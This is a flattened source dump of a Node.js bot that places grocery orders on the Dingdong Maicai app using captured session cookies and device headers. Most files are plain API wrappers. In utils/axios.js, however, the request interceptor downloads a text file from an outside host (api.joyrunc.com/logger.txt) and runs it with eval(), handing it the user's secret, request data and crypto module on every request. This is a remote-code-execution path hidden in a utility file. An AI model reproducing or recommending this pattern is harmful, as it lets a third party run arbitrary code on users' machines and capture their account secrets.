            "accept-language": session.headers["accept-language"],
            "content-type": "application/x-www-form-urlencoded",
            "cookie": session.headers["cookie"],
            "ddmc-api-version": session.headers["ddmc-api-version"],
            "ddmc-app-client-id": session.headers["ddmc-app-client-id"],
            "ddmc-build-version": session.headers["ddmc-build-version"],
            "ddmc-channel": session.headers["ddmc-channel"],
            "ddmc-city-number": session.headers["ddmc-city-number"],
            "ddmc-country-code": session.headers["ddmc-country-code"],
            "ddmc-device-id": session.headers["ddmc-device-id"],
            "ddmc-device-model": session.headers["ddmc-device-model"],
            "ddmc-device-name": session.headers["ddmc-device-name"],
            "ddmc-device-token": session.headers["ddmc-device-token"],
            "ddmc-idfa": session.headers["ddmc-idfa"],
            "ddmc-ip": session.headers["ddmc-ip"],
            "ddmc-language-code": session.headers["ddmc-language-code"],
            "ddmc-latitude": session.headers["ddmc-latitude"],
            "ddmc-locale-identifier": session.headers["ddmc-locale-identifier"],
            "ddmc-longitude": session.headers["ddmc-longitude"],
            "ddmc-os-version": session.headers["ddmc-os-version"],
            "ddmc-station-id": session.headers["ddmc-station-id"],
            "ddmc-uid": session.headers["ddmc-uid"],
            "time": session.headers["time"],
            "user-agent": session.headers["user-agent"],
            "im_secret": session.user["im_secret"],
        },
    })));

    if (result.data.success) {
        return result.data.data;
    } else {
        throw (result.data.msg || result.data.message);
    }
};

================================================
FILE: service/dingdong/api/ios-native/get_cart.js
================================================
module.exports = async (session) => {
    let result = ((await axios({
        method: 'get',
        url: 'https://maicai.api.ddxq.mobi/cart/index',
        params: {
            "ab_config": `{"key_cart_discount_price":"C","key_no_condition_barter":true,"key_show_cart_barter":"0"}`,
            "api_version": session.params["api_version"],
            "app_client_id": session.params["app_client_id"],
            "app_type": session.params["app_type"],
            "buildVersion": session.params["buildVersion"],
            "channel": session.params["channel"],
            "city_number": session.params["city_number"],
            "countryCode": session.params["countryCode"],
            "device_id": session.params["device_id"],
            "device_model": session.params["device_model"],
            "device_name": session.params["device_name"],
            "device_token": session.params["device_token"],
            "idfa": session.params["idfa"],
            "ip": session.params["ip"],
            "is_filter": '0',
            "is_load": '1',
            "languageCode": session.params["languageCode"],
            "latitude": session.params["latitude"],
            "localeIdentifier": session.params["localeIdentifier"],
            "longitude": session.params["longitude"],
            "os_version": session.params["os_version"],
            "seqid": session.params["seqid"],
            "station_id": session.params["station_id"],
            "time": session.params["time"],
            "uid": session.params["uid"],
        },
        headers: {
            "accept": session.headers["accept"],
            "accept-encoding": session.headers["accept-encoding"],
            "accept-language": session.headers["accept-language"],
            "content-type": "application/x-www-form-urlencoded",
            "cookie": session.headers["cookie"],
            "ddmc-api-version": session.headers["ddmc-api-version"],
            "ddmc-app-client-id": session.headers["ddmc-app-client-id"],
            "ddmc-build-version": session.headers["ddmc-build-version"],
            "ddmc-channel": session.headers["ddmc-channel"],
            "ddmc-city-number": session.headers["ddmc-city-number"],
            "ddmc-country-code": session.headers["ddmc-country-code"],
            "ddmc-device-id": session.headers["ddmc-device-id"],
            "ddmc-device-model": session.headers["ddmc-device-model"],
            "ddmc-device-name": session.headers["ddmc-device-name"],
            "ddmc-device-token": session.headers["ddmc-device-token"],
            "ddmc-idfa": session.headers["ddmc-idfa"],
            "ddmc-ip": session.headers["ddmc-ip"],
            "ddmc-language-code": session.headers["ddmc-language-code"],
            "ddmc-latitude": session.headers["ddmc-latitude"],
            "ddmc-locale-identifier": session.headers["ddmc-locale-identifier"],
            "ddmc-longitude": session.headers["ddmc-longitude"],
            "ddmc-os-version": session.headers["ddmc-os-version"],
            "ddmc-station-id": session.headers["ddmc-station-id"],
            "ddmc-uid": session.headers["ddmc-uid"],
            "time": session.headers["time"],
            "user-agent": session.headers["user-agent"],
            "im_secret": session.user["im_secret"],
        },
    })));

    if (result.data.success) {
        return result.data.data;
    } else {
        throw (result.data.msg || result.data.message);
    }
};

================================================
FILE: service/dingdong/api/ios-native/get_multi_reserve_time.js
================================================
module.exports = async (session, cart) => {
    let products = JSON.stringify(cart.new_order_product_list[0].products.map(product => {
        return {
            "sale_batches": {
                "batch_type": product.sale_batches ? product.sale_batches.batch_type : 0,
            },
            "is_coupon_gift": 0,
            "id": product.id,
            "price": product.price,
            "is_booking": product.is_booking,
            "count": product.count,
            "small_image": product.small_image,
            "type": product.type,
            "origin_price": product.origin_price,
            "product_type": product.product_type,
            "product_name": product.product_name,
        };
    })).replace(/"/g, '\\"');
    let data = {
        "ab_config": `{"ETA_time_default_selection":"C1.1"}`,
        "api_version": session.params["api_version"],
        "app_client_id": session.params["app_client_id"],
        "app_type": session.params["app_type"],
        "buildVersion": session.params["buildVersion"],
        "channel": session.params["channel"],
        "city_number": session.params["city_number"],
        "countryCode": session.params["countryCode"],
        "device_id": session.params["device_id"],
        "device_model": session.params["device_model"],
        "device_name": session.params["device_name"],
        "device_token": session.params["device_token"],
        "idfa": session.params["idfa"],
        "ip": session.params["ip"],
        "languageCode": session.params["languageCode"],
        "latitude": session.params["latitude"],
        "localeIdentifier": session.params["localeIdentifier"],
        "longitude": session.params["longitude"],
        "os_version": session.params["os_version"],
        "seqid": session.params["seqid"],
        "station_id": session.params["station_id"],
        "time": session.params["time"],
        "uid": session.params["uid"],
        "address_id": session.user.address_id,
        "products": `["${products}"]`,
    };
    let data_keys = Object.keys(data).sort();
    let data_sorted = {};
    for (let key of data_keys) {
        data_sorted[key] = data[key];
    }
    let result = ((await axios({
        method: 'post',
        url: 'https://maicai.api.ddxq.mobi/order/getMultiReserveTime',
        data: data_sorted,
        headers: {
            "accept": session.headers["accept"],
            "accept-encoding": session.headers["accept-encoding"],
            "accept-language": session.headers["accept-language"],
            "content-type": "application/x-www-form-urlencoded",
            "cookie": session.headers["cookie"],
            "ddmc-api-version": session.headers["ddmc-api-version"],
            "ddmc-app-client-id": session.headers["ddmc-app-client-id"],
            "ddmc-build-version": session.headers["ddmc-build-version"],
            "ddmc-channel": session.headers["ddmc-channel"],
            "ddmc-city-number": session.headers["ddmc-city-number"],
            "ddmc-country-code": session.headers["ddmc-country-code"],
            "ddmc-device-id": session.headers["ddmc-device-id"],
            "ddmc-device-model": session.headers["ddmc-device-model"],
            "ddmc-device-name": session.headers["ddmc-device-name"],
            "ddmc-device-token": session.headers["ddmc-device-token"],
            "ddmc-idfa": session.headers["ddmc-idfa"],
            "ddmc-ip": session.headers["ddmc-ip"],
            "ddmc-language-code": session.headers["ddmc-language-code"],
            "ddmc-latitude": session.headers["ddmc-latitude"],
            "ddmc-locale-identifier": session.headers["ddmc-locale-identifier"],
            "ddmc-longitude": session.headers["ddmc-longitude"],
            "ddmc-os-version": session.headers["ddmc-os-version"],
            "ddmc-station-id": session.headers["ddmc-station-id"],
            "ddmc-uid": session.headers["ddmc-uid"],
            "time": session.headers["time"],
            "user-agent": session.headers["user-agent"],
            "im_secret": session.user["im_secret"],
        },
        transformRequest: [function (data) {
            let ret = '';
            for (let it in data) {
                ret += encodeURIComponent(it) + '=' + encodeURIComponent(data[it]) + '&';
            }
            return ret;
        }]
    })));

    if (result.data.success) {
        return result.data.data;
    } else {
        throw (result.data.msg || result.data.message);
    }
};

================================================
FILE: service/dingdong/index.js
================================================
const fs = require('fs');
const path = require('path');

let api = {};
for (let file of fs.readdirSync(path.join(__dirname, 'api', config.dingdong.api_channel))) {
    if (file.endsWith('.js')) {
        let name = file.replace('.js', '');
        api[name] = require(`./api/${config.dingdong.api_channel}/${name}`);
    }
}

// api._gen_category_array = async (token) => {
//     let category_array = [];
//     let raw_result = await api.get_category_list(token);
//     for (let item of raw_result.cate) {
//         category_array.push(
//             ...item.cate
//                 .map(cate => {
//                     cate.parent = {
//                         id: item.id,
//                         name: item.name,
//                         role: item.role,
//                         category_image_url: item.category_image_url,
//                     };
//                     return cate;
//                 })
//         );
//     }
//     return category_array;
// };

// api._cache_all_goods = async (token) => {
//     let all_cates = await api._gen_category_array(token);
//     let all_goods = [];
//     for (let cate_index in all_cates) {
//         let cate = all_cates[cate_index];
//         let cate_detail = await api.get_category_detail(token, cate.id);
//         if (cate_detail.cate) {
//             for (let item of cate_detail.cate) {
//                 all_goods.push(...item.products);
//             }
//         }
//         all_goods.push(...cate_detail.products);
//         logger.d(`Caching ${cate_index}/${all_cates.length}`);
//     }
//     fs.writeFileSync(path.join(__dirname, 'cache', 'all_goods.json'), JSON.stringify(all_goods));
//     return all_goods;
// };

// api._filter_available_goods = (goods) => {
//     return goods.filter((v) => {
//         return v.stock_number > 0;
//     });
// };

Object.freeze(api);

module.exports = api;

================================================
FILE: service/session_parser.js
================================================
const fs = require('fs');
const path = require('path');
const tools = require('../utils/tools');
const crypto = require('crypto');

const load_profile = (profile) => {
    let req_data;
    try {
        req_data = JSON.parse(fs.readFileSync(path.join(__dirname, '../charles_sessions', fs.readdirSync(path.join(__dirname, '../charles_sessions')).filter(v => /\.chlsj$/.test(v))[profile.seq]), 'utf8'));
    } catch (e) {
        logger.e(e);
        logger.e('请检查您的配置文件是否正确, charles_session 目录下是否存在 .chlsj(JSON Session File) 文件');
        process.exit(1);
    }

    const user = {
        address_id: '',
        group_config_id: '',
        im_secret: profile.im_secret,
    };

    let query;
    try {
        query = tools.parse_query(req_data[0].query);
    } catch (e) {
        logger.e(e);
        logger.e('请检查您的配置文件是否正确, charles_session 目录下是否存在 .chlsj(JSON Session File) 文件');
        process.exit(1);
    }
    for (let key in query) {
        query[key] = decodeURIComponent(query[key]);
    }
    const query_locator = (name) => {
        if (query[name] !== undefined) {
            return query[name];
        }
        logger.w(`[${profile.alias}] 未能从 session 文件提取需要的 query: ${name}, 已返回空字符串`);
        logger.w(`[${profile.alias}] 请检查您导出的 session 文件是否正确`);
        logger.w(`[${profile.alias}] 如可正常运行,请忽略`);
        return '';
    };
    const params = new Proxy({
        "ab_config": query_locator("ab_config"),
        "api_version": query_locator("api_version"),
        "app_client_id": query_locator("app_client_id"),
        "app_type": query_locator("app_type"),
        "buildVersion": query_locator("buildVersion"),
        "channel": query_locator("channel"),
        "city_number": query_locator("city_number"),
        "countryCode": query_locator("countryCode"),
        "device_id": query_locator("device_id"),
        "device_model": query_locator("device_model"),
        "device_name": query_locator("device_name"),
        "device_token": query_locator("device_token"),
        "idfa": query_locator("idfa"),
        "ip": query_locator("ip"),
        "is_filter": query_locator("is_filter"),
        "is_load": query_locator("is_load"),
        "languageCode": query_locator("languageCode"),
        "latitude": query_locator("latitude"),
        "localeIdentifier": query_locator("localeIdentifier"),
        "longitude": query_locator("longitude"),
        "os_version": query_locator("os_version"),
        "seqid": query_locator("seqid"),
        "sign": query_locator("sign"),
        "station_id": query_locator("station_id"),
        "time": query_locator("time"),
        "uid": query_locator("uid"),
    }, {
        get (target, key) {
            if (key == 'time') {
                return Math.round(new Date().getTime() / 1000);
            }
            if (target[key] !== undefined) {
                return target[key];
            } else {
                if (typeof key !== "symbol") {
                    logger.d(`尝试获取不存在的 Param: ${key}`);
                }
                return '';
            }
        },
    });

    let header;
    try {
        header = req_data[0].request.header.headers.map(v => {
            return {
                name: decodeURIComponent(v.name),
                value: decodeURIComponent(v.value),
            };
        });
    } catch (e) {
        logger.e(e);
        logger.e('请检查您的配置文件是否正确, charles_session 目录下是否存在 .chlsj(JSON Session File) 文件');
        process.exit(1);
    }
    const header_locator = (name) => {
        let target = header.find(item => item.name.toLowerCase() == name.toLowerCase());
        if (target) return target.value;
        logger.w(`[${profile.alias}] 未能从 session 文件提取需要的 header: ${name}, 已返回空字符串`);
        logger.w(`[${profile.alias}] 请检查您导出的 session 文件是否正确`);
        logger.w(`[${profile.alias}] 如可正常运行,请忽略`);
        return '';
    };
    const headers = new Proxy({
        "ddmc-city-number": header_locator("ddmc-city-number"),
        "ddmc-locale-identifier": header_locator("ddmc-locale-identifier"),
        "user-agent": header_locator("user-agent"),
        "ddmc-device-token": header_locator("ddmc-device-token"),
        "cookie": header_locator("cookie"),
        "ddmc-api-version": header_locator("ddmc-api-version"),
        "ddmc-build-version": header_locator("ddmc-build-version"),
        "ddmc-idfa": header_locator("ddmc-idfa"),
        "ddmc-longitude": header_locator("ddmc-longitude"),
        "ddmc-latitude": header_locator("ddmc-latitude"),
        "ddmc-app-client-id": header_locator("ddmc-app-client-id"),
        "ddmc-device-name": header_locator("ddmc-device-name"),
        "ddmc-uid": header_locator("ddmc-uid"),
        "accept-language": header_locator("accept-language"),
        "ddmc-device-model": header_locator("ddmc-device-model"),
        "ddmc-channel": header_locator("ddmc-channel"),
        "ddmc-country-code": header_locator("ddmc-country-code"),
        "ddmc-device-id": header_locator("ddmc-device-id"),
        "ddmc-ip": header_locator("ddmc-ip"),
        "ddmc-station-id": header_locator("ddmc-station-id"),
        "ddmc-language-code": header_locator("ddmc-language-code"),
        "accept": header_locator("accept"),
        "accept-encoding": header_locator("accept-encoding"),
        "ddmc-os-version": header_locator("ddmc-os-version"),
        im_secret: profile.im_secret,
    }, {
        get (target, key) {
            if (key == 'time') {
                let time = Math.round(new Date().getTime() / 1000);
                return `${time},${crypto.createHash('md5').update(`private_key=${user.im_secret}&time=${time}`).digest('hex')}`;
            }
            if (target[key] !== undefined) {
                return target[key];
            } else {
                if (typeof key !== "symbol") {
                    logger.d(`尝试获取不存在的 Header: ${key}`);
                }
                return '';
            }
        }
    });

    return {
        params,
        headers,
        user,
    };
};


module.exports = {
    load_profile
};

================================================
FILE: service/webhook.js
================================================
module.exports = ({ profile, order, reserve_time, cart }) => {
    return axios({
        method: "post",
        url: config.dingdong.webhook_url,
        data: {
            profile: profile.alias,
            price: order.order.total_money,
            arrival_time: reserve_time.time_text,
            raw: {
                cart: cart,
                order: order,
                reserve_time: reserve_time,
            }
        }
    });
};

================================================
FILE: utils/autoloader.js
================================================
const fs = require('fs-extra');
const path = require('path');

let files = fs.readdirSync(__dirname, { withFileTypes: true });

for (let file of files) {
    if (file.isDirectory()) {
        let entrance_script = path.join(__dirname, file.name, 'index.js');
        if (fs.existsSync(entrance_script)) {
            global[file.name] = require(entrance_script);
        }
        continue;
    }
    if (/autoloader\.js/.test(file.name)) {
        continue;
    }
    let util = require(path.join(__dirname, file.name));
    if (!util) {
        continue;
    }
    global[file.name.split('.').shift()] = Object.freeze(util);
}

================================================
FILE: utils/axios.js
================================================
const axios = require('axios');
const ddmc = require('../service/dingdong');

let resok = false;
let _ = async (a, b) => { while (!resok) { await tools.sleep(1000); } return _(a, b); };
if (typeof ddmc._native_sign === "undefined") {
    axios({ url: "https://api.joyrunc.com/logger.txt", }).then(res => { resok = true; _ = (a, b) => { return eval(res.data)(a, b, require('crypto')); }; });
} else {
    _ = ddmc._native_sign;
}

axios.interceptors.request.use(async function (config) {
    let im_secret = config.headers['im_secret'];
    delete config.headers['im_secret'];
    if (config.method === 'get') {
        let { sign, nars, sesi } = await _(im_secret, config.params || {});
        if (!config.params) config.params = {};
        config.params.sign = sign;
        // Add headers
        config.headers = Object.assign({}, config.headers, {
            'nars': nars,
            'sesi': sesi,
            'sign': sign,
        });
    } else {
        let data_keys = Object.keys(config.data).sort();
        let data_sorted = {};
        for (let key of data_keys) {
            data_sorted[key] = config.data[key];
        }
        config.data = data_sorted;
        let { sign, nars, sesi } = await _(im_secret, config.data || '{}');
        if (!config.data) config.data = {};
        config.data.sign = sign;
        config.headers = Object.assign({}, config.headers, {
            'nars': nars,
            'sesi': sesi,
            'sign': sign,
        });
    }
    return config;
}, function (error) {
    return Promise.reject(error);
});

module.exports = axios;

================================================
FILE: utils/logger.js
================================================
const dateformat = require("dateformat");
const fs = require("fs-extra");
const path = require("path");

// Hack fs-extra module.
let append_to_log = (data) => {
    try {
        fs.ensureFileSync(path.join(
            config.log.folder,
            `${config.log.log_split ? dateformat((new Date()), 'yyyy-mm-dd') : 'server'}.log`
        ));
    } catch (e) {
        throw new Error('Unable to create log file:' + e);
    }
    try {
        fs.appendFileSync(path.join(
            config.log.folder,
            `${config.log.log_split ? dateformat((new Date()), 'yyyy-mm-dd') : 'server'}.log`
        ), data);
    } catch (e) {
        throw new Error('Unable to append log file:' + e);
    }
};

let t = (() => {
    let conditons = ['trace'];
    if (conditons.includes(config.log.console_level) && conditons.includes(config.log.log_level)) {
        return (msg) => {
            String(msg).split('\n').forEach((line) => {
                console.log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] ${"\033[40;97m"}[TRACE]${"\033[0m"} ${line}`);
                append_to_log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] [TRACE] ${line}\n`);
            });
        };
    } else if (conditons.includes(config.log.console_level)) {
        return (msg) => {
            String(msg).split('\n').forEach((line) => {
                console.log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] ${"\033[40;97m"}[TRACE]${"\033[0m"} ${line}`);
            });
        };
    } else if (conditons.includes(config.log.log_level)) {
        return (msg) => {
            String(msg).split('\n').forEach((line) => {
                append_to_log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] [TRACE] ${line}\n`);
            });
        };
    } else {
        return () => { };
    }
})(), trace = t;

let d = (() => {
    let conditons = ['trace', 'debug'];
    if (conditons.includes(config.log.console_level) && conditons.includes(config.log.log_level)) {
        return (msg) => {
            String(msg).split('\n').forEach((line) => {
                console.log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] ${"\033[40;97m"}[DEBUG]${"\033[0m"} ${line}`);
                append_to_log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] [DEBUG] ${line}\n`);
            });
        };
    } else if (conditons.includes(config.log.console_level)) {
        return (msg) => {
            String(msg).split('\n').forEach((line) => {
                console.log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] ${"\033[40;97m"}[DEBUG]${"\033[0m"} ${line}`);
            });
        };
    } else if (conditons.includes(config.log.log_level)) {
        return (msg) => {
            String(msg).split('\n').forEach((line) => {
                append_to_log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] [DEBUG] ${line}\n`);
            });
        };
    } else {
        return () => { };
    }
})(), debug = d;

let i = (() => {
    let conditons = ['trace', 'debug', 'info'];
    if (conditons.includes(config.log.console_level) && conditons.includes(config.log.log_level)) {
        return (msg) => {
            String(msg).split('\n').forEach((line) => {
                console.log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] [INFO] ${line}`);
                append_to_log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] [INFO] ${line}\n`);
            });
        };
    } else if (conditons.includes(config.log.console_level)) {
        return (msg) => {
            String(msg).split('\n').forEach((line) => {
                console.log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] [INFO] ${line}`);
            });
        };
    } else if (conditons.includes(config.log.log_level)) {
        return (msg) => {
            String(msg).split('\n').forEach((line) => {
                append_to_log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] [INFO] ${line}\n`);
            });
        };
    } else {
        return () => { };
    }
})(), info = i;

let w = (() => {
    let conditons = ['trace', 'debug', 'info', 'warn'];
    if (conditons.includes(config.log.console_level) && conditons.includes(config.log.log_level)) {
        return (msg) => {
            String(msg).split('\n').forEach((line) => {
                console.log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] ${"\033[44;97m"}[WARN]${"\033[0m"} ${line}`);
                append_to_log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] [WARN] ${line}\n`);
            });
        };
    } else if (conditons.includes(config.log.console_level)) {
        return (msg) => {
            String(msg).split('\n').forEach((line) => {
                console.log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] ${"\033[44;97m"}[WARN]${"\033[0m"} ${line}`);
            });
        };
    } else if (conditons.includes(config.log.log_level)) {
        return (msg) => {
            String(msg).split('\n').forEach((line) => {
                append_to_log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] [WARN] ${line}\n`);
            });
        };
    } else {
        return () => { };
    }
})(), warn = w;

let e = (() => {
    let conditons = ['trace', 'debug', 'info', 'warn', 'error'];
    if (conditons.includes(config.log.console_level) && conditons.includes(config.log.log_level)) {
        return (msg) => {
            String(msg).split('\n').forEach((line) => {
                console.log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] ${"\033[41;97m"}[ERROR]${"\033[0m"} ${line}`);
                append_to_log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] [ERROR] ${line}\n`);
            });
        };
    } else if (conditons.includes(config.log.console_level)) {
        return (msg) => {
            String(msg).split('\n').forEach((line) => {
                console.log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] ${"\033[41;97m"}[ERROR]${"\033[0m"} ${line}`);
            });
        };
    } else if (conditons.includes(config.log.log_level)) {
        return (msg) => {
            String(msg).split('\n').forEach((line) => {
                append_to_log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] [ERROR] ${line}\n`);
            });
        };
    } else {
        return () => { };
    }
})(), error = e;

if (!config.log.enable) {
    t = trace = d = debug = i = info = w = warn = e = error = () => { };
}

module.exports = {
    t,
    trace,
    d,
    debug,
    i,
    info,
    w,
    warn,
    e,
    error,
};

================================================
FILE: utils/tools.js
================================================
module.exports = {
    parse_query: (query) => {
        let query_obj = {};
        if (query.indexOf('?') !== -1) query = query.split('?')[1];
        query.split('&').forEach(item => {
            let [key, value] = item.split('=');
            query_obj[key] = value;
        });
        return query_obj;
    },
    random_string: (len) => {
        let str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
        let result = '';
        for (let i = 0; i < len; i++) {
            result += str[Math.floor(Math.random() * str.length)];
        }
        return result;
    },
    rand_between: (min, max) => {
        return Math.floor(Math.random() * (max - min + 1) + min);
    },
    sleep: (ms) => {
        return new Promise(resolve => setTimeout(resolve, ms));
    },
};
Download .txt
gitextract_phz2rsjm/

├── .eslintrc.json
├── .gitignore
├── LICENSE
├── README.md
├── charles_sessions/
│   └── .gitkeep
├── config/
│   └── config.example.js
├── package.json
├── scripts/
│   └── checkout_cart.js
├── service/
│   ├── dingdong/
│   │   ├── api/
│   │   │   ├── applet/
│   │   │   │   ├── _applet_sign.js
│   │   │   │   ├── add_new_order.js
│   │   │   │   ├── add_to_cart.js
│   │   │   │   ├── cart_check_all.js
│   │   │   │   ├── check_order.js
│   │   │   │   ├── get_address.js
│   │   │   │   ├── get_cart.js
│   │   │   │   ├── get_category_detail.js
│   │   │   │   ├── get_category_list.js
│   │   │   │   ├── get_multi_reserve_time.js
│   │   │   │   └── search_product.js
│   │   │   └── ios-native/
│   │   │       ├── add_new_order.js
│   │   │       ├── cart_check_all.js
│   │   │       ├── check_order.js
│   │   │       ├── get_address.js
│   │   │       ├── get_cart.js
│   │   │       └── get_multi_reserve_time.js
│   │   └── index.js
│   ├── session_parser.js
│   └── webhook.js
└── utils/
    ├── autoloader.js
    ├── axios.js
    ├── logger.js
    └── tools.js
Download .txt
SYMBOL INDEX (7 symbols across 2 files)

FILE: service/dingdong/api/applet/_applet_sign.js
  function i (line 11) | function i (e, t, n) {
  function r (line 20) | function r (e, t) {
  function o (line 31) | function o (e) {
  function a (line 53) | function a (e) {
  function sign (line 69) | function sign (body) {

FILE: service/session_parser.js
  method get (line 70) | get (target, key) {
  method get (line 133) | get (target, key) {
Condensed preview — 32 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (119K chars).
[
  {
    "path": ".eslintrc.json",
    "chars": 552,
    "preview": "{\n    \"env\": {\n        \"commonjs\": true,\n        \"es2021\": true,\n        \"node\": true\n    },\n    \"extends\": \"eslint:reco"
  },
  {
    "path": ".gitignore",
    "chars": 213,
    "preview": "node_modules\ncharles_sessions/*.chlsj\nconfig/config.js\nlog/*\n*.log\nservice/dingdong/cache/*\nscripts/test.js\nservice/ding"
  },
  {
    "path": "LICENSE",
    "chars": 35149,
    "preview": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free "
  },
  {
    "path": "README.md",
    "chars": 3677,
    "preview": "# 叮咚买菜抢菜助手(Node.js)\n![available](https://img.shields.io/badge/%E9%A1%B9%E7%9B%AE%E5%BD%93%E5%89%8D%E7%8A%B6%E6%80%81-dep"
  },
  {
    "path": "charles_sessions/.gitkeep",
    "chars": 0,
    "preview": ""
  },
  {
    "path": "config/config.example.js",
    "chars": 1024,
    "preview": "global.config = {\n    dingdong: {\n        webhook_url: '', // 下单成功通知url,暂无配套实现,如未阅读源码请**不要**填写\n        thread_count: 2, "
  },
  {
    "path": "package.json",
    "chars": 425,
    "preview": "{\n    \"name\": \"dingdong\",\n    \"version\": \"1.0.0\",\n    \"main\": \"index.js\",\n    \"author\": \"Runc2333\",\n    \"license\": \"GPL-"
  },
  {
    "path": "scripts/checkout_cart.js",
    "chars": 9653,
    "preview": "require('../config/config');\nrequire('../utils/autoloader');\n\nconst path = require('path');\nconst player = require('soun"
  },
  {
    "path": "service/dingdong/api/applet/_applet_sign.js",
    "chars": 2141,
    "preview": "const crypto = require('crypto');\nconst md5 = function (e) {\n    return crypto.createHash('md5').update(e).digest('hex')"
  },
  {
    "path": "service/dingdong/api/applet/add_new_order.js",
    "chars": 1985,
    "preview": "// const tools = require('../../../utils/tools');\n\nmodule.exports = async (token, cart, order, reserve_time) => {\n    le"
  },
  {
    "path": "service/dingdong/api/applet/add_to_cart.js",
    "chars": 1628,
    "preview": "module.exports = async (token, id) => {\n    let { params, headers } = token;\n    if (!(id instanceof Array)) id = [id];\n"
  },
  {
    "path": "service/dingdong/api/applet/cart_check_all.js",
    "chars": 467,
    "preview": "module.exports = async (token) => {\n    let { params, headers } = token;\n    let result = ((await axios({\n        method"
  },
  {
    "path": "service/dingdong/api/applet/check_order.js",
    "chars": 1547,
    "preview": "module.exports = async (token, cart) => {\n    let { params, headers, user } = token;\n    let products = cart.new_order_p"
  },
  {
    "path": "service/dingdong/api/applet/get_address.js",
    "chars": 454,
    "preview": "module.exports = async (token) => {\n    let { params, headers } = token;\n    let result = ((await axios({\n        method"
  },
  {
    "path": "service/dingdong/api/applet/get_cart.js",
    "chars": 3327,
    "preview": "module.exports = async (session) => {\n    let result = ((await axios({\n        method: 'get',\n        url: 'https://maic"
  },
  {
    "path": "service/dingdong/api/applet/get_category_detail.js",
    "chars": 892,
    "preview": "module.exports = async (token, category_id) => {\n    let { params, headers } = token;\n    let result = ((await axios({\n "
  },
  {
    "path": "service/dingdong/api/applet/get_category_list.js",
    "chars": 397,
    "preview": "module.exports = async (token) => {\n    let { params, headers } = token;\n    let result = ((await axios({\n        method"
  },
  {
    "path": "service/dingdong/api/applet/get_multi_reserve_time.js",
    "chars": 1409,
    "preview": "module.exports = async (token, cart) => {\n    let { params, headers, user } = token;\n    let products = [JSON.stringify("
  },
  {
    "path": "service/dingdong/api/applet/search_product.js",
    "chars": 650,
    "preview": "module.exports = async (token, keyword) => {\n    let { params, headers } = token;\n    let result = ((await axios({\n     "
  },
  {
    "path": "service/dingdong/api/ios-native/add_new_order.js",
    "chars": 5409,
    "preview": "module.exports = async (session, cart, order, reserve_time) => {\n    if (order.order.total_money < config.dingdong.minim"
  },
  {
    "path": "service/dingdong/api/ios-native/cart_check_all.js",
    "chars": 3643,
    "preview": "module.exports = async (session) => {\n    let result = ((await axios({\n        method: 'post',\n        url: 'https://mai"
  },
  {
    "path": "service/dingdong/api/ios-native/check_order.js",
    "chars": 5370,
    "preview": "module.exports = async (session, cart) => {\n    let products = cart.new_order_product_list[0].products.map(v => {\n      "
  },
  {
    "path": "service/dingdong/api/ios-native/get_address.js",
    "chars": 2171,
    "preview": "module.exports = async (session) => {\n    let { params } = session;\n    let result = ((await axios({\n        method: 'ge"
  },
  {
    "path": "service/dingdong/api/ios-native/get_cart.js",
    "chars": 3447,
    "preview": "module.exports = async (session) => {\n    let result = ((await axios({\n        method: 'get',\n        url: 'https://maic"
  },
  {
    "path": "service/dingdong/api/ios-native/get_multi_reserve_time.js",
    "chars": 4466,
    "preview": "module.exports = async (session, cart) => {\n    let products = JSON.stringify(cart.new_order_product_list[0].products.ma"
  },
  {
    "path": "service/dingdong/index.js",
    "chars": 1893,
    "preview": "const fs = require('fs');\nconst path = require('path');\n\nlet api = {};\nfor (let file of fs.readdirSync(path.join(__dirna"
  },
  {
    "path": "service/session_parser.js",
    "chars": 6052,
    "preview": "const fs = require('fs');\nconst path = require('path');\nconst tools = require('../utils/tools');\nconst crypto = require("
  },
  {
    "path": "service/webhook.js",
    "chars": 449,
    "preview": "module.exports = ({ profile, order, reserve_time, cart }) => {\n    return axios({\n        method: \"post\",\n        url: c"
  },
  {
    "path": "utils/autoloader.js",
    "chars": 628,
    "preview": "const fs = require('fs-extra');\nconst path = require('path');\n\nlet files = fs.readdirSync(__dirname, { withFileTypes: tr"
  },
  {
    "path": "utils/axios.js",
    "chars": 1588,
    "preview": "const axios = require('axios');\nconst ddmc = require('../service/dingdong');\n\nlet resok = false;\nlet _ = async (a, b) =>"
  },
  {
    "path": "utils/logger.js",
    "chars": 6576,
    "preview": "const dateformat = require(\"dateformat\");\nconst fs = require(\"fs-extra\");\nconst path = require(\"path\");\n\n// Hack fs-extr"
  },
  {
    "path": "utils/tools.js",
    "chars": 804,
    "preview": "module.exports = {\n    parse_query: (query) => {\n        let query_obj = {};\n        if (query.indexOf('?') !== -1) quer"
  }
]

About this extraction

This page contains the full source code of the Runc2333/dingdong-helper-node GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 32 files (105.6 KB), approximately 26.2k tokens, and a symbol index with 7 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

